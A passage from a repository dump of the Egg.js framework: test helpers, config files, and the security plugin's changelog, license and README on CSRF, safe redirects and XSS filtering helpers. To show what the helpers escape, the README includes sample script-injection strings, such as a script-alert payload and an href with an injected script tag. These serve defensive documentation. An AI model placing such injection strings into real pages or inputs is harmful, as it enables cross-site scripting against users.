    "content": "import fs from 'node:fs';\nimport path from 'node:path';\n\nexport function getFixtures(name: string): string {\n  return path.join(import.meta.dirname, 'fixtures', name);\n}\n\nexport function getCoreLogContent(name: string): string {\n  const logPath = getFixtures(`${name}/logs/${name}/egg-web.log`);\n  return fs.readFileSync(logPath, 'utf8');\n}\n\nexport function getLogContent(name: string): string {\n  const logPath = getFixtures(`${name}/logs/${name}/${name}-web.log`);\n  return fs.readFileSync(logPath, 'utf8');\n}\n\nexport function getAgentLogContent(name: string): string {\n  const logPath = getFixtures(`${name}/logs/${name}/egg-agent.log`);\n  return fs.readFileSync(logPath, 'utf8');\n}\n\nexport function getScheduleLogContent(name: string): string {\n  const logPath = getFixtures(`${name}/logs/${name}/egg-schedule.log`);\n  return fs.readFileSync(logPath, 'utf8');\n}\n\nexport function contains(content: string, match: string | RegExp): number {\n  return content.split('\\n').filter((line) => {\n    return match instanceof RegExp ? match.test(line) : line.indexOf(match) >= 0;\n  }).length;\n}\n"
  },
  {
    "path": "plugins/schedule/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "plugins/schedule/vitest.config.ts",
    "content": "import { defineProject } from 'vitest/config';\n\nexport default defineProject({\n  test: {\n    testTimeout: 20000,\n    hookTimeout: 60000,\n  },\n});\n"
  },
  {
    "path": "plugins/security/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 5.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [4.0.1](https://github.com/eggjs/security/compare/v4.0.0...v4.0.1) (2025-02-02)\n\n\n### Bug Fixes\n\n* ignore duplicate identifier ([#104](https://github.com/eggjs/security/issues/104)) ([2d1a44b](https://github.com/eggjs/security/commit/2d1a44b35c21fe5a3df3a82a2b11e97f7df95f41))\n\n## [4.0.0](https://github.com/eggjs/security/compare/v3.7.0...v4.0.0) (2025-01-17)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\nhttps://github.com/eggjs/egg/issues/5257\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n## Summary by CodeRabbit\n\nBased on the comprehensive changes, here are the updated release notes:\n\n- **New Features**\n\t- Migrated security plugin to TypeScript.\n\t- Enhanced type safety for security configurations.\n\t- Improved middleware and helper utilities.\n- Introduced new middleware for handling `Strict-Transport-Security`,\n`X-Frame-Options`, and `X-XSS-Protection` headers.\n\t- Added support for new security configurations and helper functions.\n\n- **Breaking Changes**\n\t- Renamed package from `egg-security` to `@eggjs/security`.\n\t- Dropped support for Node.js versions below 18.19.0.\n\t- Restructured module exports and configurations.\n\t- Removed several deprecated middleware and utility functions.\n\n- **Security Improvements**\n\t- Updated CSRF, XSS, and SSRF protection mechanisms.\n\t- Enhanced middleware for handling security headers.\n\t- Refined configuration options for various security features.\n\n- **Performance**\n\t- Modernized codebase with ES module syntax.\n\t- Improved type definitions and module structure.\n- Enhanced test suite with TypeScript support and better resource\nmanagement.\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* support cjs and esm both by tshy ([#101](https://github.com/eggjs/security/issues/101)) ([a11661f](https://github.com/eggjs/security/commit/a11661f3459db275f00b0f8bd0637a5e46b92022))\n\n## [3.7.0](https://github.com/eggjs/egg-security/compare/v3.6.0...v3.7.0) (2025-01-13)\n\n\n### Features\n\n* csrf support check origin header with referer type ([#69](https://github.com/eggjs/egg-security/issues/69)) ([2c950d3](https://github.com/eggjs/egg-security/commit/2c950d3d2a464c5f4d3af79bc7ea32c7595018c6))\n\n## [3.6.0](https://github.com/eggjs/egg-security/compare/v3.5.0...v3.6.0) (2024-07-08)\n\n\n### Features\n\n* add hostnameExceptionList for ssrf ([#100](https://github.com/eggjs/egg-security/issues/100)) ([92a34f3](https://github.com/eggjs/egg-security/commit/92a34f3246ded7ebb5c628d1de2a37a121ce919d))\n\n## [3.5.0](https://github.com/eggjs/egg-security/compare/v3.4.0...v3.5.0) (2024-07-03)\n\n\n### Features\n\n* add rotateWhenInvalid option for CSRF token ([#98](https://github.com/eggjs/egg-security/issues/98)) ([ae37c8f](https://github.com/eggjs/egg-security/commit/ae37c8f8e55c050ec6747a196f77aec197958e02))\n\n## [3.4.0](https://github.com/eggjs/egg-security/compare/v3.3.1...v3.4.0) (2024-07-01)\n\n\n### Features\n\n* support SSRF check on useHttpClientNext = true ([#96](https://github.com/eggjs/egg-security/issues/96)) ([1d6bfff](https://github.com/eggjs/egg-security/commit/1d6bfffba257aae9bb72906cbe958550d00adfb7))\n\n## [3.3.1](https://github.com/eggjs/egg-security/compare/v3.3.0...v3.3.1) (2024-06-12)\n\n\n### Bug Fixes\n\n* use @eggjs/ip instead of ip ([#95](https://github.com/eggjs/egg-security/issues/95)) ([5e3ee95](https://github.com/eggjs/egg-security/commit/5e3ee95bd3d4fb133800669284b0d9d15ac4f0f8))\n\n## [3.3.0](https://github.com/eggjs/egg-security/compare/v3.2.0...v3.3.0) (2024-05-29)\n\n\n### Features\n\n* use ip@v2 ([#93](https://github.com/eggjs/egg-security/issues/93)) ([ffb761d](https://github.com/eggjs/egg-security/commit/ffb761dd6e364fd7eb1d034a6fb1f3a060855f80))\n\n## [3.2.0](https://github.com/eggjs/egg-security/compare/v3.1.0...v3.2.0) (2024-01-04)\n\n\n### Features\n\n* CSRF cookies allow the use of signatures ([#88](https://github.com/eggjs/egg-security/issues/88)) ([da1b532](https://github.com/eggjs/egg-security/commit/da1b53222448bb646ad6fb1d726a6168a43eafcf))\n\n## [3.1.0](https://github.com/eggjs/egg-security/compare/v3.0.0...v3.1.0) (2023-08-09)\n\n\n### Features\n\n* context 中的 `isSafeDomain()` 函数增加自定义白名单参数 ([#86](https://github.com/eggjs/egg-security/issues/86)) ([a178552](https://github.com/eggjs/egg-security/commit/a1785525fc1acb5d0e329dd1446c3bc8b4f6e72f))\n\n## [3.0.0](https://github.com/eggjs/egg-security/compare/v2.11.0...v3.0.0) (2023-05-10)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 14 support\n\n### Features\n\n* upgrade deps to latest versions ([#82](https://github.com/eggjs/egg-security/issues/82)) ([c3ca817](https://github.com/eggjs/egg-security/commit/c3ca817eca2fa6a034f9402f6ad5c4a8e9194178))\n\n2.11.0 / 2022-07-20\n==================\n\n**features**\n  * [[`b97b2b2`](http://github.com/eggjs/egg-security/commit/b97b2b292d249eee69822baa8fe62da9161597d2)] - feat: csrf cookie support cookieOptions (#80) (大木匠贰 <<damujiangr@aliyun.com>>)\n\n2.10.1 / 2022-04-10\n==================\n\n**others**\n  * [[`4bb4741`](http://github.com/eggjs/egg-security/commit/4bb47419f0f9a8703401e0ee1f0b7d496519c587)] - 🐛 FIX: Add warning message on `false` value config (#79) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`184d109`](http://github.com/eggjs/egg-security/commit/184d109dc0e83f2568bbfcf5837f4a8aadb9eff8)] - 📖 DOC: Add CONNECT method on CSRF default config (fengmk2 <<fengmk2@gmail.com>>)\n\n2.10.0 / 2022-04-05\n==================\n\n**features**\n  * [[`2d1b28f`](http://github.com/eggjs/egg-security/commit/2d1b28f94cee80f931d25d9b0905b2b2b10e195f)] - feat: make csrf supported method configurable (#74) (Anemone95 <<x565178035@126.com>>)\n\n**others**\n  * [[`59558fa`](http://github.com/eggjs/egg-security/commit/59558faf0a5e0fca29f2703a65be91364f708867)] - 🐛 FIX: Should detect all rules before ignore on CSRF (#78) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`61a5543`](http://github.com/eggjs/egg-security/commit/61a5543391d6a29050ddf12d39d3997811143852)] - deps: use nanoid@3 (#77) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.9.1 / 2022-03-29\n==================\n\n**fixes**\n  * [[`0b3fb1e`](http://github.com/eggjs/egg-security/commit/0b3fb1ebd9107c555f15cc97722a5a390a98e1e5)] - fix: should match script end tags like </script > (#76) (fengmk2 <<fengmk2@gmail.com>>)\n\n**others**\n  * [[`1cde817`](http://github.com/eggjs/egg-security/commit/1cde8178e0058136f62203752622efe02467fa3b)] - 🤖 TEST: Run ci on GitHub Action (#75) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`23fef7d`](http://github.com/eggjs/egg-security/commit/23fef7d3a4150afa4e001be186bc191c08878a75)] - Delete SECURITY.md (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`f6aeb97`](http://github.com/eggjs/egg-security/commit/f6aeb977203db5686fe279d0e8b3ec1a64535e07)] - docs: Add Security Policy (fengmk2 <<fengmk2@gmail.com>>)\n\n2.9.0 / 2021-04-21\n==================\n\n**others**\n  * [[`9d80e90`](http://github.com/eggjs/egg-security/commit/9d80e90d273a3ac24231d200ac248f44d1fbd822)] - add ssrf.ipExceptionList (#70) (shadyzoz <<shadyzoz@icloud.com>>)\n  * [[`79c38e0`](http://github.com/eggjs/egg-security/commit/79c38e001b431466361c711680d975eb0cfcb301)] - docs: fix typos (#68) (viko16 <<viko16@users.noreply.github.com>>)\n\n2.8.0 / 2020-04-16\n==================\n\n**features**\n  * [[`a9aff4f`](http://github.com/eggjs/egg-security/commit/a9aff4ff75b343fc8b12248d304d3dba82f71bc1)] - feat: csrf support any, fix isSafeDomain bug (#67) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`beeded1`](http://github.com/eggjs/egg-security/commit/beeded1901d77af65a9580e2e80027d71997fc52)] - feat: config.cookieName support array (#66) (Yiyu He <<dead_horse@qq.com>>)\n\n**others**\n  * [[`5bd4719`](http://github.com/eggjs/egg-security/commit/5bd471995ffdc93de146ae94e0644da15acb04a7)] - test: content-length should not be empty string (pusongyang <<ukyo.pu@gmail.com>>)\n  * [[`def5bfa`](http://github.com/eggjs/egg-security/commit/def5bfa8a2139ca3e2f221ded0dc66d1b405d418)] - docs: typos & optimization (#63) (吖猩 <<whx89768@alibaba-inc.com>>)\n\n2.7.1 / 2019-11-14\n==================\n\n**fixes**\n  * [[`ef0e439`](http://github.com/eggjs/egg-security/commit/ef0e439ee743f3d8069f81eb8bf614f5564de932)] - fix(security): use new URL instead of url.parse (#62) (Yiyu He <<dead_horse@qq.com>>)\n\n2.7.0 / 2019-10-25\n==================\n\n**features**\n  * [[`f03aeed`](http://github.com/eggjs/egg-security/commit/f03aeed246ca7dffc589d98b0dd4966700c4d90d)] - feat: add escapeShellArg and escapeShellCmd (#60) (p0sec <<7829373@qq.com>>)\n\n**others**\n  * [[`22b155f`](http://github.com/eggjs/egg-security/commit/22b155f63db42f880c4ac1ae1035ca1ad6ac6586)] - style: fix document (#59) (刘放 <<brizer@users.noreply.github.com>>)\n\n2.6.1 / 2019-08-09\n==================\n\n**fixes**\n  * [[`b72a1eb`](http://github.com/eggjs/egg-security/commit/b72a1eb5b9cfbfc9a8821d3b560f2402f12b709e)] - fix: csrf false check (#58) (吖猩 <<whxaxes@gmail.com>>)\n\n2.6.0 / 2019-08-09\n==================\n\n**features**\n  * [[`a1b8e00`](http://github.com/eggjs/egg-security/commit/a1b8e006feef717d8cc9767d001a48efa56fca79)] - feat: csrf support referer type (#56) (吖猩 <<whxaxes@gmail.com>>)\n\n**others**\n  * [[`1890644`](http://github.com/eggjs/egg-security/commit/189064406befc7e284f67eb22d95aa1d13079ee9)] - chore: show contributors on README (#55) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.5.0 / 2019-03-08\n==================\n\n**others**\n  * [[`4fcadc4`](http://github.com/eggjs/egg-security/commit/4fcadc4d34f915333bd02264f49ccb28400bfb1f)] - deps: update packs and ignore lock file (#54) (Maledong <<maledong_github@outlook.com>>)\n  * [[`5772242`](http://github.com/eggjs/egg-security/commit/577224217e079fd6fe38b7a86401d99ddf03a22c)] - test: use expectLog to assert log (#53) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.4.3 / 2019-02-19\n==================\n\n**fixes**\n  * [[`b80202f`](http://github.com/eggjs/egg-security/commit/b80202ffde474e3ade09f6dc4b29a9bb925e4241)] - fix: make sure domain is string before use it (#52) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.4.2 / 2019-01-04\n==================\n\n**fixes**\n  * [[`ad21465`](http://github.com/eggjs/egg-security/commit/ad21465b3a40f6c9e38fa58ba85b8e86eda47ca3)] - fix: fix referrer-policy enum check (#50) (Century Guo <<648772021@qq.com>>)\n\n2.4.1 / 2018-11-15\n==================\n\n  * fix: shtml check domainWhiteList hostname get null (#49)\n\n2.4.0 / 2018-08-24\n==================\n\n**others**\n  * [[`57bc4d9`](http://github.com/eggjs/egg-security/commit/57bc4d9bb1334e699f87306820a0e6bb42d6aed8)] - bug (methodnoallow): Fix for '`OPTIONS` not allowed' (#40) (Maledong <<maledong_github@outlook.com>>)\n  * [[`8ead61e`](http://github.com/eggjs/egg-security/commit/8ead61eb38370b6dade6785bc945fbb32caedd63)] - chore: improve npm scripts (#48) (Maledong <<maledong_github@outlook.com>>)\n  * [[`817d114`](http://github.com/eggjs/egg-security/commit/817d11462e43aee9986f3cd4b13acf9a1e70f7b9)] - doc (README.zh-CN.md, README.md): Fix typos and add missing trans (#45) (Maledong <<maledong_github@outlook.com>>)\n\n2.3.1 / 2018-08-16\n==================\n\n**fixes**\n  * [[`8997866`](http://github.com/eggjs/egg-security/commit/8997866d5ff9d3aa445752be1d3b93ed94dc113b)] - fix: preprocess config in app.js (#46) (Yiyu He <<dead_horse@qq.com>>)\n\n**others**\n  * [[`9baf72e`](http://github.com/eggjs/egg-security/commit/9baf72ece4431b55eb85dd0daf4b8ace6ddb314e)] - chore (shtml,cliFilter,sjs,README): Modifications of files (#47) (Maledong <<maledong_github@outlook.com>>)\n\n2.3.0 / 2018-08-14\n==================\n\n**fixes**\n  * [[`835eff5`](http://github.com/eggjs/egg-security/commit/835eff54fb2fe159ce86cc810f714259ba988bca)] - Fix: Make `domain` and `whiteList`, `protocalWhiteList` case insensitive (Maledong <<maledong_github@outlook.com>>)\n  * [[`81f757a`](http://github.com/eggjs/egg-security/commit/81f757a291f1a8084c6b5e106de11f16a6ef1e0a)] - fix: use faster non-secure ID generator (#43) (Andrey Sitnik <<andrey@sitnik.ru>>)\n\n**others**\n  * [[`72e7ceb`](http://github.com/eggjs/egg-security/commit/72e7ceb04e2d4ff2d65ebb8926aa938093da289c)] - utils (isSafeDomain): Use `matcher` to check for a wild character of a (#42) (Maledong <<maledong_github@outlook.com>>)\n  * [[`a7035cf`](http://github.com/eggjs/egg-security/commit/a7035cfa7bea9e53be4227964836a1de79f7b75c)] - doc: Translate from Chinese into English for several files for their comments (#41) (Maledong <<maledong_github@outlook.com>>)\n\n2.2.3 / 2018-07-11\n==================\n\n**fixes**\n  * [[`b5e1741`](http://github.com/eggjs/egg-security/commit/b5e17410045cb36b68d2e4f897c60ea6841c0f42)] - fix: disable nosniff on redirect status (#38) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.2.2 / 2018-04-12\n==================\n\n**fixes**\n  * [[`dbc9a44`](http://github.com/eggjs/egg-security/commit/dbc9a445816d69ec59320b8f655d6e965a16edfb)] - fix: format illegal url (#36) (Yiyu He <<dead_horse@qq.com>>)\n\n**others**\n  * [[`9676127`](http://github.com/eggjs/egg-security/commit/96761278b0f167c315af9d00842456aaa3a420fc)] - docs: update warning infomation for ignoreJSON (#35) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n2.2.1 / 2018-03-28\n==================\n\n**others**\n  * [[`e6e5e65`](http://github.com/eggjs/egg-security/commit/e6e5e65034d314646bd5cf98303cce97fece86dd)] - docs: fix SSRF link (#34) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n2.2.0 / 2018-03-27\n==================\n\n**features**\n  * [[`eba4555`](http://github.com/eggjs/egg-security/commit/eba45551f6170761792389632bdaae2afcae57d0)] - feat: support safeCurl for SSRF protection (#32) (Yiyu He <<dead_horse@qq.com>>)\n\n**fixes**\n  * [[`abc33d1`](http://github.com/eggjs/egg-security/commit/abc33d176f2ca832eddd42ae5967c25e0f91c97a)] - fix: deprecate ignoreJSON (#30) (Yiyu He <<dead_horse@qq.com>>)\n\n**others**\n  * [[`4f045a0`](http://github.com/eggjs/egg-security/commit/4f045a05da0db6c03f3578ee13aff3721f3ceec2)] - deps: add missing dependencies ip (dead-horse <<dead_horse@qq.com>>)\n\n2.1.0 / 2018-03-14\n==================\n\n**features**\n  * [[`97f372c`](http://github.com/eggjs/egg-security/commit/97f372c275cb3db99d4bdd86b19583464cdce4e3)] - feat: add RefererPolicy support (#27) (Adams <<jtyjty99999@126.com>>)\n\n**others**\n  * [[`76bd83f`](http://github.com/eggjs/egg-security/commit/76bd83fbe96e7e81a3a0a61d182c5d7e480c7856)] - chore:bump to 2.0.1 (jtyjty99999 <<jtyjty99999@126.com>>),\n\n2.0.1 / 2018-03-14\n==================\n\n  * fix: absolute path detect should ignore evil path (#28)\n\n2.0.0 / 2017-11-10\n==================\n\n**others**\n  * [[`0ec7d2f`](http://github.com/eggjs/egg-security/commit/0ec7d2f5af03c31623b9286125d74652ba596b8b)] - refactor: use async function and support egg@2 (#25) (Yiyu He <<dead_horse@qq.com>>)\n\n1.12.1 / 2017-08-03\n==================\n\n**others**\n  * [[`870a7e2`](http://github.com/eggjs/egg-security/commit/870a7e2d26ad622a035e70565a9ca6830465326f)] - fix(csrf): ignore json request even body not exist (#23) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n\n1.12.0 / 2017-07-19\n==================\n\n  * feat: make session plugin optional (#22)\n\n1.11.0 / 2017-06-19\n==================\n\n  * feat: add global path blocking to avoid directory traversal attack (#19)\n\n1.10.2 / 2017-06-14\n==================\n\n  * fix: should not assert csrf when path match ignore (#20)\n\n1.10.1 / 2017-06-04\n===================\n\n  * docs: fix License url (#18)\n\n1.10.0 / 2017-05-09\n==================\n\n  * feat: config.security.csrf.cookieDomain can be function (#17)\n\n1.9.0 / 2017-03-28\n==================\n\n  * feat: use egg-path-matching to support fn (#15)\n\n1.8.0 / 2017-03-07\n==================\n\n  * feat:support muiltiple query/body key to valid csrf token (#14)\n\n1.7.0 / 2017-03-07\n==================\n\n  * feat: add ctx.rotateCsrfToken (#13)\n\n1.6.0 / 2017-02-20\n==================\n\n  * refactor: add csrf faq url to error msg in local env (#12)\n\n1.5.0 / 2017-02-17\n==================\n\n  * feat: surl support protocol whitelist (#11)\n\n1.4.0 / 2017-01-22\n==================\n\n  * refactor: rewrite csrf (#10)\n\n1.3.0 / 2016-12-28\n==================\n\n  * feat: support hash link in shtml (#7)\n  * test: fix test (#8)\n\n1.2.1 / 2016-09-01\n==================\n\n  * fix: make sure every middleware has name (#6)\n\n1.2.0 / 2016-08-31\n==================\n\n  * feat: disable hsts for default (#5)\n\n1.1.0 / 2016-08-31\n==================\n\n  * refactor: remove ctoken, csrf check all post/put/.. requests (#4)\n\n1.0.3 / 2016-08-30\n==================\n\n  * fix: lower case header will get better performance (#3)\n\n1.0.2 / 2016-08-29\n==================\n\n  * refactor: use setRawHeader\n\n1.0.1 / 2016-08-21\n==================\n\n  * First version\n"
  },
  {
    "path": "plugins/security/LICENSE",
    "content": "The MIT License (MIT)\n\nCopyright (c) Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE."
  },
  {
    "path": "plugins/security/README.md",
    "content": "# @eggjs/security\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/security.svg?style=flat)](https://nodejs.org/en/download/)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n![CodeRabbit Pull Request Reviews](https://img.shields.io/coderabbit/prs/github/eggjs/security)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/security.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/security\n[snyk-image]: https://snyk.io/test/npm/@eggjs/security/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/security\n[download-image]: https://img.shields.io/npm/dm/@eggjs/security.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/security\n\nEgg's default security plugin, generally no need to configure.\n\n## Usage & configuration\n\n- `config.default.js`\n\n```js\nexports.security = {\n  xframe: {\n    value: 'SAMEORIGIN',\n  },\n};\n```\n\n### Disable security precautions\n\nTo disable some security precautions, set `enable` property to 'false' directly.\n\nFor example, disable xframe defense:\n\n```js\nexports.security = {\n  xframe: {\n    enable: false,\n  },\n};\n```\n\n### match & ignore\n\nIf you want to set security config open for a certain path, you can configure `match` option.\n\nFor example, just open csp when path contains `/example`, you can configure with the following configuration:\n\n```js\nexports.security = {\n  csp: {\n    match: '/example',\n    // match: /^\\/api/, // support regexp\n    // match: ctx => ctx.path.startsWith('/api'), // support function\n    // match: [ ctx => ctx.path.startsWith('/api'), /^\\/foo$/, '/bar'], // support Array\n    policy: {\n      //...\n    },\n  },\n};\n```\n\nIf you want to set security config disable for a certain path, you can configure `ignore` option.\n\nFor example, just disable xframe when path contains `/example` while our pages can be embedded in cooperative businesses , you can configure with the following configuration:\n\n```js\nexports.security = {\n  xframe: {\n    ignore: '/example',\n    // ignore: /^\\/api/, // support regexp\n    // ignore: ctx => ctx.path.startsWith('/api'), // support function\n    // ignore: [ ctx => ctx.path.startsWith('/api'), /^\\/foo$/, '/bar'], // support Array\n    // ...\n  },\n};\n```\n\n**mention：`match` has higher priority than `ignore`**\n\n### Dynamic configuration for security plugins depend on context\n\nThere are times when we want to be more flexible to configure security plugins.For example:\n\n1. To decide whether to enable or disable the xframe security header from the context of the request.\n2. To decide csp policies from different request urls.\n\nThen we can configure `ctx.securityOptions[name] opts` in the custom middleware or controller, then the current request configuration will override the default configuration (new configuration will be merged and override the default project configuration, but only take effect in the current request)\n\n```js\nasync ctx => {\n  // if satisfied some condition\n  // change configuration\n  ctx.securityOptions.xframe = {\n    value: 'ALLOW-FROM: https://domain.com',\n  };\n  // disable configuration\n  ctx.securityOptions.xssProtection = {\n    enable: false,\n  };\n};\n```\n\nNot all security plugins support dynamic configuration, only the following plugins list support\n\n- csp\n- hsts\n- noopen\n- nosniff\n- xframe\n- xssProtection\n\nAnd in `helper`：\n\n- shtml\n\nhelper is the same way to configure.\n\n```js\nctx.securityOptions.shtml = {\n  whiteList: {},\n};\n```\n\n#### Mention\n\n- Security is a big thing, please pay attention to the risk of changes in the security configuration (especially dynamic changes)\n- `ctx.securityOptions` the current request configuration will overrides the default configuration, but it does not make a deep copy，so pay attention to configure `csp.policy`, it will not be merged.\n- If you configure `ctx.securityOptions`，please write unit tests to ensure the code is correct.\n\n## API\n\n### ctx.isSafeDomain(domain)\n\nWhether or not the domain is in the whitelist of the configuration. See `ctx.redirect`.\n\nNote: [egg-cors](https://github.com/eggjs/egg-cors) module uses this function internally to determine whether or not send back an `Access-Control-Allow-Origin` response header with the value of safe domain. Otherwise, ignore the request with an error, `No 'Access-Control-Allow-Origin' header is present on the requested resource.`\n\n```js\nexports.security = {\n  domainWhiteList: ['http://localhost:4200'],\n};\n```\n\n## Interface restriction\n\n### CSRF\n\n**usage**\n\n- `ctx.csrf` getter for CSRF token\n\nGenerally used when send POST form request. When page rendering, put `ctx.csrf` into form hidden field or query string.(`_csrf` is the key).\nWhen submitting the form, please submit with the `_csrf` token parameter.\n\n#### Using CSRF when upload by formData\n\nbrowser:\n\n```html\n<form method=\"POST\" action=\"/upload?_csrf={{ ctx.csrf | safe }}\" enctype=\"multipart/form-data\">\n  title: <input name=\"title\" /> file: <input name=\"file\" type=\"file\" />\n  <button type=\"submit\">上传</button>\n</form>\n```\n\n#### Using CSRF when request by AJAX\n\nCSRF token will also set to cookie by default, and you can send token through header:\n\nIn jQuery:\n\n```js\nvar csrftoken = Cookies.get('csrftoken');\n\nfunction csrfSafeMethod(method) {\n  // these HTTP methods do not require CSRF protection\n  return /^(GET|HEAD|OPTIONS|TRACE)$/.test(method);\n}\n$.ajaxSetup({\n  beforeSend: function (xhr, settings) {\n    if (!csrfSafeMethod(settings.type) && !this.crossDomain) {\n      xhr.setRequestHeader('x-csrf-token', csrftoken);\n    }\n  },\n});\n```\n\n#### Options\n\nthere are some options that you can customize:\n\n```js\nexports.security = {\n  csrf: {\n    type: 'ctoken', // can be ctoken, referer, all or any, default to ctoken\n    useSession: false, // if useSession set to true, the secret will keep in session instead of cookie\n    ignoreJSON: false, // skip check JSON requests if ignoreJSON set to true\n    cookieName: 'csrfToken', // csrf token's cookie name\n    sessionName: 'csrfToken', // csrf token's session name\n    headerName: 'x-csrf-token', // request csrf token's name in header\n    bodyName: '_csrf', // request csrf token's name in body\n    queryName: '_csrf', // request csrf token's name in query\n    rotateWhenInvalid: false, // rotate csrf secret when csrf token invalid. For multi applications which be deployed on the same domain, as tokens from one application may impact others.\n    refererWhiteList: [], // referer white list\n    supportedRequests: [\n      // supported URL path and method, the package will match URL path regex patterns one by one until path matched. We recommend you set {path: /^\\//, methods:['POST','PATCH','DELETE','PUT','CONNECT']} as the last rule in the list, which is also the default config.\n      { path: /^\\//, methods: ['POST', 'PATCH', 'DELETE', 'PUT', 'CONNECT'] },\n    ],\n    cookieOptions: {}, // csrf token's cookie options\n  },\n};\n```\n\n`methods` in `supportedRequests` can be empty, which means if you set `supportedRequests: [{path: /.*/, methods:[]}]`, the whole csrf protection will be disabled.\n\n#### Rotate CSRF secret\n\nMust call `ctx.rotateCsrfSecret()` when user login to ensure each user has independent secret.\n\n### safe redirect\n\n- `ctx.redirect(url)` If url is not in the configuration of the white list, the redirect will be prohibited\n\n- `ctx.unsafeRedirect(url)` Not Recommended;\n\nSecurity plugin override `ctx.redirect` method，all redirects will be judged by the domain name.\n\nIf you need to use `ctx.redirect`, you need to do the following configuration in the application configuration file：\n\n```js\nexports.security = {\n  domainWhiteList: ['.domain.com'], // security whitelist, starts with '.'\n};\n```\n\nIf user do not configure `domainWhiteList` or `domainWhiteList` is empty, it will pass all redirects, equal to `ctx.unsafeRedirect(url)`. `domainWhiteList` and `url` are case insensitive.\n\n### jsonp\n\nBased on [jsonp-body](https://github.com/node-modules/jsonp-body).\n\nDefense:\n\n- The longest callback function name limit of 50 characters.\n- Callback function only allows \"[\",\"]\",\"a-zA-Z0123456789\\_\", \"$\" \".\" to prevent `xss` or `utf-7` attack.\n\nConfig：\n\n- callback function default name `_callback`.\n- limit - function name limit, default by 50.\n\n## helper\n\n### .escape()\n\nString xss filter, the most secure filtering mechanism.\n\n```js\nconst str = '><script>alert(\"abc\") </script><';\nconsole.log(ctx.helper.escape(str));\n// => &gt;&lt;script&gt;alert(&quot;abc&quot;) &lt;/script&gt;&lt;\n```\n\nIn nunjucks template, escape by default.\n\n### .surl()\n\nurl filter.\n\nUsed for url in html tags (like `<a href=\"\"/><img src=\"\"/>`),please do not call under other places.\n\n`helper.surl($value)`。\n\n**Mention: Particular attention, if you need to resolve URL use `surl`，`surl` need warpped in quotes, Otherwise will lead to XSS vulnerability.**\n\nExample: do not use surl\n\n```html\n<a href=\"$value\" />\n```\n\noutput:\n\n```html\n<a href=\"http://ww.domain.com<script>\" />\n```\n\nUse surl\n\n```html\n<a href=\"helper.surl($value)\" />\n```\n\noutput:\n\n```html\n<a href=\"http://ww.domain.com&lt;script&gt;\" />\n```\n\n#### protocolWhitelist\n\nIf url's protocol is not in the protocol whitelist, it will return empty string.\n\nProtocol whitelist is `http`, `https`, `file`, `data`.\n\nSo if you want `surl` support custom protocol, please extend the security `protocolWhitelist` config :\n\n```js\nexports.security = {\n  protocolWhitelist: ['test'],\n};\n```\n\n### .sjs()\n\nUsed to output variables in javascript(include onload/event),it will do `JAVASCRIPT ENCODE` for the variable string.It will escape all characters to `\\x` which are not in the whitelist to avoid XSS attack.\n\n```js\nconst foo = '\"hello\"';\n\n// not use sjs\nconsole.log(`var foo = \"${foo}\";`);\n// => var foo = \"\"hello\"\";\n\n// use sjs\nconsole.log(`var foo = \"${ctx.helper.sjs(foo)}\";`);\n// => var foo = \"\\\\x22hello\\\\x22\";\n```\n\n### .shtml()\n\nIf you want to output richtexts in views, you need to use `shtml` helper.\nIt will do XSS filter, then output html tags to avoid illegal scripts.\n\n**shtml is a very complex process, it will effect server performance, so if you do not need to output HTML, please do not use shtml.**\n\nExamples:\n\n```js\n// js\nconst value = `<a href=\"http://www.domain.com\">google</a><script>evilcode…</script>`;\n\n// in your view\n<html>\n  